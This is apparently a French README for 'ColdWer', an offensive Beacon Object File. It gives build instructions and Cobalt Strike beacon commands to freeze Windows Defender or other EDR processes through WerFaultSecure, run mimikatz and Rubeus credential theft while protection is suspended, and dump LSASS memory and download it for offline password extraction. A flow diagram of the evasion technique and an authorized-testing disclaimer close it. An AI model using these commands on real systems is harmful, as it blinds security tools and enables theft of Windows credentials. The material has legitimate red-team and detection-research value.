C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# Naviguez vers le répertoire source
cd src/

# Compilez le BOF (nécessite MinGW)
make

# Ou manuellement :
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# Trouver le PID de Windows Defender
beacon> ps

# Geler le processus
beacon> cw-freeze 1337

# Exécutez vos commandes pendant que l'EDR/AV est gelé
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# Dégeler une fois terminé
beacon> cw-unfreeze

# Étape 1 : Téléchargez le WerFaultSecure.exe de Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# Étape 2 : Trouvez le PID de LSASS
beacon> ps

# Étape 3 : Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Étape 4 : Téléchargez le dump
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# Geler avec le chemin par défaut
beacon> cw-freeze 1337

# Utiliser un WerFaultSecure.exe personnalisé
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# Dégeler une fois terminé
beacon> cw-unfreeze

1. 🚀 Lancement de WerFaultSecure.exe en tant que PPL (niveau WinTcb)
                    ↓
2. 🎯 WerFaultSecure s'attache au processus cible
                    ↓
3. ⏸️  MiniDumpWriteDump suspend tous les threads cibles
                    ↓
4. 🥶 Suspendre WerFaultSecure lui-même → La cible reste gelée
                    ↓
5. ✅ Exécutez vos commandes (l'EDR/AV ne voit rien !)
                    ↓
6. 🔥 Terminer WerFaultSecure → La cible se dégèle

⚠️ POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT

Cet outil est destiné à :
- Des tests d'intrusion autorisés
- Des opérations Red Team avec autorisation écrite
- Des recherches en sécurité dans des environnements contrôlés

L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
L'accès non autorisé à des systèmes informatiques est illégal.